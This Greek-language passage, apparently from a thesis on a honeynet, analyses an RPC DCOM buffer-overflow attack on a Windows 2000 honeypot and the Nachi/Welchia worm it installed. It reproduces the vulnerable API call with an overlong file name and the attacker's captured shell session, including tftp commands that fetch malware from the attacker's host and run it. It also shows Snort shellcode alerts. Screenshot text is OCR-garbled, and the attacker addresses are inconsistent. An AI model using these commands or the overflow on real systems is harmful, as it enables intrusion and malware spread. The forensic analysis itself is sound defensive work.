Αφού γίνει το three way handsake στην TCP πόρτα 135, βλέπουμε ότι χρησιμοποιείται το πρωτόκολλο DCERPC στην γραμμή 10 της εικόνας 3-9. Οι βιβλιοθήκες DCE (Distributed Computing Enviroments) RPC χρησιμοποιούνται από το μοντέλο DCOM για να προσαρμόσουν τις κλήσεις υπορουτήνων COM (Component Object Model), για την μεταφορά τους από το δίκτυο, απονέμοντας COM στο κατανεμημένο δίκτυο. Το DCOM (Distributed Component Object Model), είναι ένα μοντέλο προγραμματισμού, σχεδιασμένο έτσι ώστε να προσφέρει στους προγραμματιστές, την ικανότητα να αναπτύσσουν components εφαρμογών από ανεξάρτητες γλώσσες προγραμματισμού και να μπορούν εύκολα να συνεργαστούν με components φτιαγμένα από άλλους προγραμματιστές και κατασκευαστές.

(www.giac.org/practical/GCIH/Russell_Griffith_GCIH.pdf)

Αν παρατηρήσουμε στην παραπάνω εικόνα, το μαρκαρισμένο πακέτο push, γραμμή 13, από τον επιτιθέμενο μεταφέρονται κάποιοι ASCII χαρακτήρες και κάπου μπορούμε να διακρίνουμε μια ακολουθία '12345611111111111111111.doc' που μοιάζει με το όνομα αρχείου κάποιου document. Αφού δεχτεί τα πακέτα το **honeypot** βλέπουμε ότι επιχειρεί σύνδεση προς τον επιτιθέμενο στην πόρτα 707/TCP.

Αναζητώντας στο διαδίκτυο πληροφορίες για αυτό το document βρίσκουμε κάτι πολύ ενδιαφέρον στο site του securityfocus, (<u>http://www.securityfocus.com/archive/1/330466/2003-07-23/2003-07-</u>29/0). Μία ανάλυση, η οποία περιγράφει την εκμετάλλευση της ευπάθειας επονομαζόμενη "RPC DCOM interface vulnerability".

Σύμφωνα με την microsoft, αυτή είναι μία ευπάθεια ενός μέρους του RPC όπου γίνονται οι συμφωνίες διαμοιρασμού των μηνυμάτων μέσω TCP/IP. Το σφάλμα επακολουθεί λόγο κακού χειρισμού του πολύπλοκου μηνύματος που μεταφέρεται. Αυτή η ευπάθεια επηρεάζει ένα DCOM interface με RPC, που ακούει σε ενεργές RPC πόρτες. Αυτό το intrface χρησιμοποιεί αιτήσεις ενεργοποίησης DCOM object που στέλνονται από τον εξυπηρετούμενο στον server. Κάποιος επιτιθέμενος, που θα καταφέρει να εκμεταλλευτεί την ευπάθεια , θα μπορέσει να εκτελέσει κώδικα στον απομακρυσμένο υπολογιστή με δικαιώματα του τοπικού συστήματος του.

Η ανάλυση του scurityfocus μας εξηγεί ότι το λανθασμένο API (Application Programing Interface) είναι το ακόλουθο :

```
HRESULT CoGetInstanceFromFile(
  COSERVERINFO * pServerInfo,
  CLSID * pclsid,
  IUnknown * punkOuter,
  DWORD dwClsCtx,
  DWORD grfMode,
  OLECHAR * szName,
  ULONG cmq,
  MULTI_QI * rgmqResults
);
```

Πίνακας 3-27 - API RPC DCOM

Η έκτη παράμετρος szName, όπως λέει το MSDN: αρχείο για να αρχικοποιεί το αντικείμενο χρησιμοποιώντας την IpersistFile::Load. Αυτή η παράμετρος μπορεί να προκαλέσει buffer overflow.

hr =CoGetInstanceFromFile

(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\123456111111 1111111111111111111111.doc",1,&qi);

Όταν το όνομα αρχείου είναι πολύ μεγάλο, τα windows θα δημιουργήσουν ένα buffer overflow διότι η συνάρτηση GetPathForServer του RPCSS διαθέτει χώρο 0x220. Το API όμως, ελέγχει τοπικά το όνομα και δεν αφήνει να δημιουργηθεί όνομα αρχείου πάνω από 0x220, έτσι δεν μπορούμε να χρησιμοποιήσουμε το API για **exploit**, αλλά μπορούμε να χρησιμοποιήσουμε την συνάρτηση αναδόμησης πακέτων του LPC (Local Procedure Call).

Αφού ο εξυπηρετούμενος μεταφέρει την παράμετρο στον server, ο server την τροποποιεί σε μία μορφή όπως την επόμενη :

L;°\\servername\c\$\1234561111111111111111111111111.doc".

Κεφάλαιο 3

Τότε ο Server θα πάρει πρώτα το όνομα αρχείου, αλλά εδώ υπάρχει το λάθος, τα windows δεν ελέγχουν την παράμετρο, αλλά μόνο τα προσδιορισμένα στη στοίβα με 0x20. 0x20 είναι το μέγιστο μήκος του NETBIOS name, έτσι επέρχεται το buffer overflow.

Βλέποντας το την εικόνα 3-9, στην γραμμή 17 φαίνεται ότι το **honeypot** στέλνει αίτηση σύνδεσης προς τον επιτιθέμενο στην πόρτα 707/TCP. Ακολουθώντας τα TCP πακέτα με follow TCP stream θα δούμε ότι αφού πέτυχε το overflow, το **honeypot** άνοιξε μία γραμμή επικοινωνίας με τον επιτιθέμενο μέσω της πόρτας 707 και από εκεί εκτέλεσε τις command line εντολές που βλέπουμε στην παρακάτω εικόνα 3-10

Contents of TCP stream	X
Microsoft Windows 2000 [Version 5.00.2195]r (C) Copyright 1985-2000 Microsoft Corp.r	٦
r C:\WINNT\system32>dir wins\dllhost.exe rdir wins\dllhost.exe Volume in drive C has no label.r Volume Serial Number is 789F-0403r	
Directory of C:\WINNT\system32\winsr	
File Not Foundr	
C:\WINWT\system32>dir dllcache\tftpd.exe rrdir dllcache\tftpd.exe Volume in drive C has no label.r Volume Serial Number is 789F-0403r	
Directory of C:\WINNT\system32\dllcacher	
File Not Foundr	
C:\WINNT\system32>tftp -i 192.168.0.15 get svchost.exe wins\SVCHOST.EXE rrtftp -i 143.233.183.15 get svchost.exe wins\SVCHOST.EXE Transfer successful: 19728 bytes in 1 second, 19728 bytes/srr tftp -i 143.233.183.15 get dllhost.exe wins\DLLHOST.EXE	
rr C:\WINNT\system32>rtftp -i 192.168.0.15 get dllhost.exe wins\DLLHOST.EXE Transfer successful: 10240 bytes in 1 second, 10240 bytes/srr	
r C:\WINNT\system32>wins\DLLHOST.EXE rrvins\DLLHOST.EXE	
Entire conversation (924 bytes)	lose

Εικόνα 3-10

Στην παραπάνω εικόνα βλέπουμε ότι οι εντολές που εκτελέστηκαν με την σειρά είναι :

dir wins\dllhost .exe

Γίνεται αναζήτηση για το αν υπάρχει το αρχείο dllhost.exe στον υποκατάλογο wins του καταλόγου του συστήματος (στα windows 2000 c:\winnt\sysem32), όπως και παρακάτω

dir dllcahe\tftpd.exe

αναζήτηση για το αρχείο tftpd.exe στον υποκατάλογο dllcahe του καταλόγου συστήματος.

tftp -i 192.168.183.15 get svchost.exe wins\SVCHOST.EXE

tftp -i 192.168.183.15 get dllhost.exe wins\DLLHOST.EXE

Στην συνέχεια εκτελούνται δύο tftp εντολές. Το tftp είναι μια υπηρεσία για μεταφορά αρχείων μέσω πακέτων UDP ανοίγοντας από προεπιλογή την πόρτα 69. Ο tftp client είναι εξ' ορισμού εγκατεστημένος στα windows. Στις παραπάνω εντολές η παράμετρος -i ορίζει την IP του Server, και η παράμετρος get σημαίνει να τραβήξει από τον server το αρχείο που ακολουθεί σαν παράμετρο και να το αποθηκεύσει τοπικά με όνομα που ακολουθεί σαν τελευταία παράμετρο. Δηλαδή με αυτές τις δύο εντολές το **honeypot** πήρε από τον επιτιθέμενο τα αρχεία svchost.exe και dllhost.exe, και τα αποθήκευσε στον τοπικό κατάλογο c:\winnt\system32\wins.

wins\DLLHOST.EXE

Η επόμενη εντολή τρέχει το αρχείο dllhost.exe.

Όμως τι είναι αυτό το αρχείο που εκτελείται και τι επιπτώσεις έχει στο σύστημα; αναζητώντας στο διαδίκτυο πληροφορίες για το αρχείο dllhost.exe, μαθαίνουμε ότι, αυτό το αρχείο το είναι ένα **worm** με όνομα Nachi ή welchia.

Очоµа	Παραγωγός	Διεύθυνση
> W32.Welchia.Wor m	symantec	http://securityresponse.symantec.com/avcenter/venc/ data/w32.welchia.worm.html

Κεφάλαιο 3

	Очоµа	Παραγωγός	Διεύθυνση
	W32/Nachi.worm	McAfee	http://us.mcafee.com/virusInfo/default.asp?id=descri
			ption&virus_k=100559
	• W32/Nachi-A	Sophos <u>http:</u>	/www.sophos.org/virusinfo/analyses/w32nachia.html
Welc	hi	F-secure <u>http:</u>	/www.f-secure.com/v-descs/welchi.shtml
W32/	Nachi.worm	wanadoo <u>http:</u>	/www.wanadoo.com.lb/virus/default.asp?language=2
		<u>&</u>	virus=170

Πίνακας 3-28

Στον παραπάνω πίνακα, μπορούμε να δούμε πώς έχουν ονομάσει το **worm** διάφοροι κατασκευαστές και διευθύνσεις με πληροφορίες που έχει δώσει ο καθένας για το **worm**.

Ο Nachi ή welchia, όπως είδαμε και παραπάνω, εκμεταλλεύεται το RPC DCOM interface vulnerability για να αποκτήσει πρόσβαση σε ένα μηχάνημα και αφού την αποκτήσει, αντιγράφει τον εαυτό του (dllhost.exe) και τον tftpd.exe σαν svhost.exe, για να μπορεί να χρησιμοποιήσει το μηχάνημα θύμα ως tftp server αργότερα, στον υποκατάλογο wins του συστήματος.

Στην συνέχεια, σύμφωνα με τις πληροφορίες που μας δίνουν οι κατασκευαστές antivirus (Symantec, sophos, $\kappa\lambda\pi$), το **worm** nachi, αφού ανοίξει σαν service τον εαυτό του και τον tftp Server, σκοτώνει την διεργασία blast.exe και προσπαθεί να διαγράψει το αρχείο blast.exe από το system folder. To blast.exe ανήκει σε ένα άλλο πολύ διαδεδομένο **worm** το blaster το οποίο δημιουργήθηκε μία βδομάδα πριν από τον nachi και χρησιμοποιεί το ίδιο vulnerability για να εξαπλωθεί. (http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html)

Ο natchi ή welchia, αφού σκοτώσει τον blaster, προσπαθεί να κατεβάσει από το site της microsoft το patch αυτό που διορθώνει το RPC DCOM interface vulnerability, έτσι ώστε να μην ξαναπαραβιαστεί το μηχάνημα θύμα μέσω κάποιας RPC πόρτας (δηλαδή το worm προστατεύει το μηχάνημα !!).

Η λίστα με τα URLs που βρίσκονται τα patches τα οποία χρησιμοποιεί ο nachi είναι η παρακάτω :

- http://download.microsoft.com/download/6/9/5/6957d785-fb7a-4ac9-b1e6-cb99b62f9f2a/Windows2000-KB823980-x86-KOR.exe
- http://download.microsoft.com/download/6/9/5/6957d785-fb7a-4ac9-b1e6-cb99b62f9f2a/Windows2000-KB823980-x86-KOR.exe
- http://download.microsoft.com/download/5/8/f/58fa7161-8db3-4af4-b576-0a56b0a9d8e6/Windows2000-KB823980-x86-CHT.exe
- http://download.microsoft.com/download/0/1/f/01fdd40f-efc5-433d-8ad2-b4b9d42049d5/Windows2000-KB823980-x86-ENU.exe
- http://download.microsoft.com/download/e/3/1/e31b9d29-f650-4078-8a76-3e81eb4554f6/WindowsXP-KB823980-x86-KOR.exe
- http://download.microsoft.com/download/2/3/6/236eaaa3-380b-4507-9ac2-6cec324b3ce8/WindowsXP-KB823980-x86-CHT.exe
- http://download.microsoft.com/download/a/a/5/aa56d061-3a38-44af-8d48-85e42de9d2c0/WindowsXP-KB823980-x86-CHS.exe
- http://download.microsoft.com/download/9/8/b/98bcfad8-afbc-458f-aaee-b7a52a983f01/WindowsXP-KB823980-x86-ENU.exe

Πίνακας 3-29

Ο nachi συνεχίζει την αναζήτηση στο δίκτυο για νέα θύματα με τον εξής τρόπο: επιλέγει την επόμενη αρχική IP που θα ξεκινήσει την αναζήτηση με δύο διαφορετικούς τρόπους, επιλέγοντας είτε από το Α.Β.Ο.Ο δίκτυο του μολυσμένου μηχανήματος και απαριθμεί τους πιθανούς συνδυασμούς, ή δημιουργεί μια τυχαία IP βασισμένη σε hard-coded (μέσα από τον κώδικα) διεύθυνση.

Αφού επιλέξει την διεύθυνση εκκίνησης, το **worm** αναζητεί θύματα αυξάνοντας τις IPs σε όλο το B-class δίκτυο της IP που επέλεξε.

Αρχικά στέλνει ICMP πακέτα για να εντοπίσει τα υπάρχοντα μηχανήματα, και μόλις τα εντοπίσει στέλνει επίθεση στην πόρτα 135(RPC) ή στην πόρτα 80 (webDAV vulnerability).

Όπως είδαμε παραπάνω (εικόνα 3-9), το **honeypot** μας δέχτηκε αρχικά ICMP πακέτα και έπειτα επίθεση στο RPC (135/TCP). Δεν παρατηρήθηκε επίθεση στην πόρτα 80 για webDAV valnerability, προφανώς αφού πέτυχε η επίθεση στο RPC.

Ας δούμε τι έγινε αφού εκτελέστηκε η τελευταία εντολή που είδαμε παραπάνω στην εικόνα 3-10 και που ουσιαστικά ενεργοποιεί τον welchia wins\DLLHOST.EXE.

15_55-56.bin - Ethereal				(○)[X
<u>File Edit View Ca</u>	pture <u>A</u> nalyze <u>H</u> eip				
	9 4 9 4		0		
No., Time	Source	Destination	Protocol	Info	-
182 15:55:16,62571	5 143,233,183,15	192.168.0.2	TCP	707 > 1034 [PSH, ACK] Seq=161 Ack=729 Win=16792 Len=18	100
183 15:55:16,62615	2 192.168.0.2	143,233,183,15	TCP	1034 > 707 [PSH, ACK] Seq=729 Ack=179 Win=17342 Len=18	-
184 15:55:16.76597	2 143,233,183,15	192.168.0.2	TCP	707 > 1034 [ACK] Seq=179 Ack=747 Uin=16774 Len=0	
185 15:55:16,96639	6 143,233,183,15	143,233,75,100	TCP	3202 > 135 [SYN] Seq=0 Ack=0 Win=16384 Len=0 MSS=1460	
186 15:55:16,96668	2 143,233,75,100	143,233,183,15	ICHP	Destination unreachable	
187 15:55:17,62727	5 145,255,185,15	192.168.0.2	TCD	[TLP Zerollandou] 707 > 1034 [KS1] Seq=179 Hck=544586885 Man=0 Len=0 2000 > 127 [CMU] Comp. Online Micro10204 Long MCC-1400	
248 15155122.97545	5 145,235,185,15 7 447 577 75 400	145.255.75.100	TOP	3202 > 135 [STN] Segeu Hokeu Ulnelbase Leneu MSSelebu	
243 10:00;22,37070 202 15:55:04 00042	0 102 168 0 2	145,255,185,15	TCP	1040 > http://commonste	
200 15455-24 51200	0 194 177 211 105	102 168 0 2	TCP	L040 / H010 [SNN _ OFV] Sear-O Ack=1 Uin=20100 Len=0 MSC=1460	
299 15:55:24 61219	2 102 168 0 2	194 177 211 105	TCP	1040 > http [QN] Senst Goks1 Mins17520 Lenst	- 11
300 15+55+24 61329	192 168 0.2	194 177 211 105	HTTP	EET /dawnload/0/1/6/016d406-eEc5-433d-9ad2-bdb9d42049d5/01pdous2000	1
301 15:55:24,61899	5 194 177 211 105	192.168.0.2	TCP	http > 1040 [ACK] Seg=1 Ack=235 Win=31886 Len=0	
302 15:55:24,62138:	1 194.177.211.105	192,168.0.2	HTTP	HTTP/1.0 200 0K	
303 15:55:24,62224	3 194.177.211.105	192.168.0.2	HTTP	Continuation	
304 15:55:24,62225:	1 194,177,211,105	192.168.0.2	HTTP	Continuation	
305 15+55+24 62516	1 192 168 0 2	194 177 211 105	TTP	_10d0 > http://arkiji.sons235.arks2921.Wins17520 ans0	*
■ Ethernet II, Scc: 00 ■ Internet Protocol, S ■ Internet Protocol, S ■ Internet Internet Protocol, S <p< th=""><th>1043e2135184116, Bet; 0 rc Addr: 192.168.0.2 (Protocol, Src Port: 10 rotocol /f/01fdd40f-efc5-433d-0 la/4.0 (compatible; HSJ crosoft.con\r\n Alive\r\n</th><th>0:00:30:23:65:80 192.16B.0.2), Dst Add 40 (1040), Dst Port: W Wad2-546934204935/Windo E 5.01; Windows NT 5.0</th><th>r; 194.17 ttp (80), ws2000-KB W)\r\n</th><th>7.211.105 (194.177.211.105) Seq: 1, Ack: 1, Len: 234 823380-x86-ENU.exe HTTP/1.0\r\n</th><th>•</th></p<>	1043e2135184116, Bet; 0 rc Addr: 192.168.0.2 (Protocol, Src Port: 10 rotocol /f/01fdd40f-efc5-433d-0 la/4.0 (compatible; HSJ crosoft.con\r\n Alive\r\n	0:00:30:23:65:80 192.16B.0.2), Dst Add 40 (1040), Dst Port: W Wad2-546934204935/Windo E 5.01; Windows NT 5.0	r; 194.17 ttp (80), ws2000-KB W)\r\n	7.211.105 (194.177.211.105) Seq: 1, Ack: 1, Len: 234 823380-x86-ENU.exe HTTP/1.0\r\n	•
•			- 20	() ()	9
0000 00 0c 30 29 d5 80	00 04 e2 33 84 16 08	00 45 000)	SE.		-
0010 01 12 01 c4 40 00	0 80 06 87 1b 8f e9 4b	02 c2 b1	···		18
0020 d3 59 04 10 00 50	df b7 40 08 07 3c c5	dc 50 18 .1P 8.	Adams I		R
0040 6f 61 64 2f 30 2f	31 2F 65 2F 30 31 66	64 64 34 oad/0/12 F2	016dd4		
0050 30 66 24 65 66 63	3 35 2d 34 33 33 64 2d	38 61 64 Of-efc5- 43	3d-Bad		
0060 32 2d 62 34 62 39	64 34 32 30 34 39 64	35 2f 57 2-b4b9d4 20	4965/6		-
0070 69 6e 64 6f 77 73	3 32 30 30 30 2d 4b 42	38 32 33 Indows20 00	>-KB823		-
Filter:				Reset Apply File: 15_55-58 bin	



Μέσα από την δικτυακή κίνηση δεν μπορούμε να δούμε αν ο nachi ή welchia σκοτώνει την διεργασία και διαγράφει το αρχείο του blaster, όμως μπορούμε να παρατηρήσουμε την προσπάθεια να κατεβάσει μέσω http πρωτοκόλλου το patch για διόρθωση του RPC DCOM interface vulnerability, από το site της microsoft. Η εντολή που βλέπουμε μέσα στον κόκκινο κύκλο στην εικόνα 3-11, είναι αυτή που ξεκινάει το download του patch από την Microsoft, είναι μάλιστα η τέταρτη διεύθυνσης από την λίστα των URLs που είδαμε παραπάνω ότι χρησιμοποιεί ο nachi.

http://download.microsoft.com/download/0/1/f/01fdd40f-efc5-433d-8ad2b4b9d42049d5/Windows2000-KB823980-x86-ENU.exe

Στην δική μας περίπτωση το download ξεκινάει και αφού μεταφερθεί και εγκαταστήσει το patch, κάνει επανεκκίνηση του μηχανήματος.

ile Edil View Canture Analuze Heln			িগ
D - X - X		0	
o Time Source	Destination	Protocol	Info
1272 10:00:20.901110 192.100.0.2	194,177,211,105	TUP	1040 / http [HCK] Seq=255 HCK=315361 WIN=17520 Leh=0
1273 15:55:25.954440 194.177.211.105	192.168.0.2	HTTP	Continuation
1274 15:55:25,954593 194,177,211,105	192.168.0.2	HTTP	Continuation
1275 15:55:25,955964 194,177,211,105	192.168.0.2	HTTP	Continuation
12/6 15:55:25,956004 194.177,211.105	192.168.0.2	HITP	Continuation
1277 15:55:25,958792 192.168.0.2	194,177,211,105	TCP	1040 > http [ACK] Seq=235 Ack=916881 Win=17520 Len=0
12/8 15:55:25.959500 192.166.0.2	194,177,211,105	ILP	1040 > http [HLK] Seq=235 Hck=918869 Win=17520 Len=0
1925 1985 5969554 192,166,0,2	192.166.0 (00)	548109	DESCRIPTION OF THE REPORT OF THE PUBLIC OF T
1200 15:55:49,22/0/4 192.168.0.2	192.168.0.255	ERUUSEK	Local Master Announcement BLGERFC, Workstation, SQL Server, NI Workst
1281 15:55:49.251101 192.168.0.2	192.168.0.255	NEWS	Release NB DIGERPC<20>
1282 15:55:49.235824 192.166.0.2	224.0.0.2	IGHP	V2 Leave Group
1285 15:55:49,452//1 192.168.0.2	192.168.0.255	NERG	Kelease NB BIGER/LC05
1284 15:55:49.899948 192.168.0.2	192.168.0.295	NER45	Release RB (01×02>TSBRUNSE(02×01>
1285 15:55:45,899661 192.168.0.2	192.168.0.255	NERO	Release NB WURKUMUURKID
1285 15:55:49,899775 192.166.0.2	192.168.0.255	NERIS	Release NB WORKGROUP(1e)
128/ 19:59:49.899880 192.168.0.2	192.168.0.200	NERS	Kelease NB NUKUKUUP(00)
1200 10:00:40.000000 192.108.0.2	192.100.0.255	CPIQIO	Release ND DIGCNFCNOV
Ethernet II, Snc: 00:04:e2:33:84:16, Dat: Internet Protocol, Snc Addr: 192.168.0.2 User Datagram Protocol, Snc Addr: 192.168.0.2	aptures) 00:04:e2:33:cc:d9 (192.168.0.2), Dst Add 26), Dst Port: surlag (1 192.16 (514)	8.0.100 (192.168.0.100)
Syslog message: DAEMON.NOTICE: NtServicePa 0001 1 = Facility: DAEMON - system of	ck: NT AUTHORITY,, Jaewons (3)	0147	
Message: NtServicePack: NT AUTHORITY\S)	significant condition (STEM: Windows 2000 Hot)	(5) Fix KB8239	80 was installed.
			·/·
00 00 04 e2 33 cc d9 00 04 e2 33 84 16 00	1 00 45 003	3E.	
00 00 04 e2 33 cc d9 00 04 e2 33 84 16 00 10 00 70 05 67 00 00 80 11 7e dd 8F e9 48 00 4b 64 04 02 02 02 00 5c 0e b9 3c 32 33	3 00 45 003 1 02 3f e9 .p.g	3E.	
00 00 04 e2 33 cc d9 00 04 e2 33 84 16 01 10 00 70 05 67 00 00 80 11 7e dd 8F e9 4 20 4b 64 04 02 02 02 00 5c 0e b9 3c 32 33 30 53 65 72 76 69 63 65 50 61 63 6b 3a 2	3 00 45 003 1 02 8F e9 .P.g 1 3e 4e 74 Kd\. 1 4e 54 20 ServiceP a	3E. K .<290Nt ck: NT	
00 04 e2 33 cc d9 00 04 e2 33 84 16 01 10 00 70 05 67 00 00 80 11 7e dd 8f e9 41 20 4b 64 04 02 02 02 00 50 b6 b9 3c 32 31 36 52 35 50 61 63 65 3a 21 50 55 55 61 63 55 <td>3 00 45 003 1 02 8F e9 .P.9 3 6 4e 74 Kd 4e 54 20 ServiceP a 54 45 4d AUTHORIT Y</td> <td>3E. K. .<29>Nt ck: NT \\$Y\$TEM</td> <td></td>	3 00 45 003 1 02 8F e9 .P.9 3 6 4e 74 Kd 4e 54 20 ServiceP a 54 45 4d AUTHORIT Y	3E. K. .<29>Nt ck: NT \\$Y\$TEM	
00 04 e2 33 cc d9 00 04 e2 33 84 16 01 10 00 70 05 67 00 00 80 11 7e dd 8f e9 41 20 4b 64 04 02 02 00 90 11 7e dd 8f e9 41 20 4b 64 04 02 02 00 5c 0e b9 3c 32 31 30 55 65 72 76 69 63 65 50 61 63 6b 3a 25 55	3 00 45 003 9 02 8f e9 .P.g 3 3e 4e 74 Kd 1 4e 54 20 ServiceP at 1 54 45 4 AUTHORIT Y 1 30 20 48 t Window s	3E. K .<29>Nt ck: NT \SYSTEM 2000 H	
00 04 e2 33 cc d3 00 04 e2 33 84 16 01 00 00 70 05 67 00 00 90 11 7e dd 8f e9 41 20 4b 64 04 02 02 00 5c 0e b9 3c 32 31 30 53 65 72 76 69 63 65 50 61 63 6b 3a 21 10 41 55 54 49 44 52 49 54 59 5c 53 59 51 35 55 51 55 53 59 51 35 55 51 50 51 55 53 59 51 53 59 51 50 53 59 51 50 51 52 33 39 31 54	9 00 45 00 3	3E. 	
0 00 04 e2 33 cc d9 00 44 e2 33 84 16 01 0 0 0 0 56 0 00 00 80 11 7e dd 8f e9 41 0 4b 64 04 02 02 00 5c 0e b9 3c 32 31 0 54 64 04 02 02 02 00 5c 0e b9 3c 32 31 0 54 55 57 65 65 55	8 00 45 003 9 02 8f e9	3E. K .<29>Nt ck: NT \SYSTEH 2000 H 23980 w led.	

Εικόνα 3-12

Μόλις εγκαταστάθηκε το patch καταγράφηκε το γεγονός τοπικά και επιπλέον, τα **honeypot**s έχουν ρυθμιστεί να καταγράφουν και να αποστέλλουν τα γεγονότα σε ένα άλλο μηχάνημα (**sysloger**) που βρίσκεται στο **Honeynet**, έτσι στάλθηκε το γεγονός μέσω UDP στον sysloger, το οποίο περιέχει την πληροφορία ότι το patch windows 2000 Hotfix KB823980 εγκαταστάθηκε, όπως βλέπουμε στην ανωτέρω εικόνα 3-12.

Ακριβώς μετά από το log που στάλθηκε, το **honeypot** αρχίζει να στέλνει κάποια broadcast netBIOS πακέτα στο τοπικό δίκτυο επειδή θα κάνει reboot. Στα πακέτα αυτά δίνει πληροφορίες για παράδειγμα τι μηχάνημα είναι όπως στην γραμμή 1280, που λέει ότι το μηχάνημα με όνομα DIGERPC είναι ένα NT workstation μηχάνημα , ή IGMP(Internet Group Management Protocol

) όπου ενημερώνει το group ότι εγκαταλείπει το internet, στην γραμμή 1282.

Παρατηρούμε ότι δεν μεταφέρονται για κάποιο διάστημα πακέτα από και προς το Honeypot.

Μετά από δύο λεπτά περίπου, το σύστημα επανέρχεται, και αφού σταλούν τα κατάλληλα broadcast NetBIOS πακέτα και syslogs, ξεκινάει μία διαδικασία αναζήτησης 'ζωντανών' μηχανών στέλνοντας ICMP πακέτα σε διεύθυνσης του ιδίου B-class δικτύου στο οποίο ανήκει η IP του **honeypot**, όπως φαίνεται στην εικόνα 3-13

15,55-62,bin - Ethereal				<u> </u>
File Edit View Capture Analyze Help)			
) × +		Ø		
No . Time Source	Destination	Protoco	I Info	1
1372 15;58:05,318210 192.168.0,2	192.168.0.255	NEWS	Name query NB UORKGROUP<16>	
1373 15:58:06.068385 192.168.0.2	192.168.0.255	NENS	Name query NB WORKGROUP<1b>	
1374 15:58:06,818793 192.168.0.2	192.168.0.255	NENIS	Name query NB NORKGROUP<1b>	
1375 15:58:06,941667 192.168.0.2	192.168.0.255	NENS	Name query NB WORKGROUP<1c>	
1376 15:58:07,001098 192.168.0,2	192.168.0.0	TOP	Echo (ping) request	
1377 15:58:07.002871 192.168.0.2	192.168.0.1	ICHP	Echo (ping) request	
1378 15:58:07,004602 192.168.0.2	192.168.0.2	ICHP	Echo (ping) request	
1379 15:58:07.006602 192.168.0.2	192.168.0.3	ICHP	Echo (ping) request	
1380 15:58:07,008628 192.168.0,2	192.168.0.4	ICHP	Echo (ping) request	
1381 15:58:07,010604 192.168.0.2	192.168.0.5	ICHP	Echo (ping) request	
1382 15:58:07.012729 192.168.0.2	192.168.0.6	ICHP	Echo (ping) request	
1383 15:58:07.014637 192.168.0.2	192.168.0.7	ICHP	Echo (ping) request	
1384 15:58:07,016669 192.168.0,2	192.168.0.8	ICHP	Echo (ping) request	
1385 15:58:07.018643 192.168.0.2	192.168.0.9	ICHP	Echo (ping) request	
1386 15:58:07,020633 192.168.0,2	192.168.0.10	ICHP	Echo (ping) request	
1387 15:58:07.022647 192.168.0.2	192.168.0.11	ICHP	Echo (ping) request	
1388 15:58:07.024717 192.168.0.2	192.168.0.12	ICHP	Echo (ping) request	
1389 15;58:07,026782 192.168.0.2	192.168.0.13	ICHP	Echo (ping) request	
1390 15:58:07.028675 192.168.0,2	192.168.0.14	ICHP	Echo (ping) request	
1391 15:58:07.030657 192.168.0.2	192.168.0.15	ICHP	Echo (ping) request	
1392 15:58:07,032667 192.168.0.2	192.168.0,16	ICHP	Echo (ping) request	1
E Frame 1376 (106 butes on wire, 106 butes o	captured)			
	00;0c;30;29;d5;00		2	5 m
➡ internet Protocol, Src Addr: 192.16B.0.2 ■ Internet Control Message Protocol	(192.168.0.2), Dst Ad	dr:192.10	68.0.0 (192.168.0.0)	
				-
*		04		4
0000 00 0c 30 29 d5 80 00 04 e2 33 84 16 0	8 00 45 00	3E.		12
0010 00 5c 00 49 00 00 80 01 cf 83 8F e9 4	b 02 8f e9 .∖.I	K		
0020 00 00 08 00 9F aa 02 00 01 00 aa aa a	a aa aa aa			
0000 aa	a aa aa aa			
0050 aa	a aa aa aa			
0060 aa				
		Q		-
Caller		I.	Possel Applul File 15 55 62 him	1
e nuer.			Lueser where us an or an unit	

Εικόνα 3-13

Διασταυρώνοντας αυτές τις πληροφορίες, με τις πληροφορίες που μας δίνουν τα URLs στον πίνακα 3-28, δεν υπάρχει σχεδόν καμία αμφιβολία ότι πρόκειται για το γνωστό **worm** nachi ή αλλιώς welchia, το οποίο ουσιαστικά δημιουργήθηκε για να 'κυνηγάει' το **worm** blaster. Τελικά δημιουργεί και αυτό προβλήματα αφού φορτώνει σε αρκετά αισθητό βαθμό το traffic του δικτύου όταν αναζητεί νέες μηχανές. Δεν λέμε ότι είμαστε απόλυτα σίγουροι ότι πρόκειται για το **worm** που έχουμε βρει πληροφορίες, διότι μπορεί να έχουμε ανακαλύψει μία παραλλαγή αυτού του **worm**.

Sun Solaris Login Vulnerability

Δύο Alerts που παρήγαγε το snort είναι αυτά που φαίνονται στον παρακάτω πίνακα 3-30.

[**] [1:1251:2] TELNET Bad Login [**] [Classification: Potentially Bad Traffic] [Priority: 2] 06/11-03:19:28.912998 192.168.44.14:23 -> 80.131.220.168:38132 TCP TTL:59 TOS:0x0 ID:50110 IpLen:20 DgmLen:69 DF ***AP*** Seq: 0x865A5110 Ack: 0x471E664B Win: 0x6270 TcpLen: 32 TCP Options (3) => NOP NOP TS: 55579267 887456

[**] [1:648:4] SHELLCODE x86 NOOP [**] [Classification: Executable code was detected] [Priority: 1] 06/11-03:19:31.227592 80.131.220.168:38132 -> 192.168.44.14:23 TCP TTL:50 TOS:0x80 ID:61333 IpLen:20 DgmLen:308 DF ***AP*** Seq: 0x471E6757 Ack: 0x865A5230 Win: 0x1920 TcpLen: 32 TCP Options (3) => NOP NOP TS: 888007 55579406 [Xref => http://www.whitehats.com/info/IDS181]

Πίνακας 3-30

Και τα δύο alerts αφορούν στην πόρτα 23 /TCP (telnet) του ίδιου **honeypot**. Κάτι άλλο που παρατηρούμε είναι ότι και τα δύο alert παράχθηκαν για την ίδια σύνδεση, αφού και η πόρτα του επιτιθέμενου είναι η ίδια και στα δύο alerts.

Το Πρώτο alert μας ενημερώνει για πιθανό κακόβουλο traffic από το **honeypot** στον επιτιθέμενο, και το δεύτερο, ενημερώνει ότι εντοπίστηκε εκτελέσιμος κώδικας από την ίδια σύνδεση. Στην δεύτερη περίπτωση υπάρχει ένα URL για το site whitehats.com όπου μας εξηγεί ότι ίσως να επιχειρείται buffer overflow χρησιμοποιώντας NOOP (no operation) χαρακτήρες. Στον παρακάτω πίνακα μπορούμε να δούμε μία μικρή περιγραφή της αιτίας που ώθησε το **snort** να παράγει το μήνυμα αυτό.

. IDS181 "SHELLCODE-X86-NOPS"

Summary

This event may indicate that a string of the character 0x90 was detected. Depending on the context, this usually indicates the NOP operation in x86 machine code. Many remote buffer overflow exploits send a series of NOP (no-operation) bytes to pad their chances of successful exploitation.

How Specific

This event is specific to a vulnerability, but may have been caused by any of several possible exploits. Signatures used to detect this event are specific and consider the packet payload.

Trusting The Source IP Address

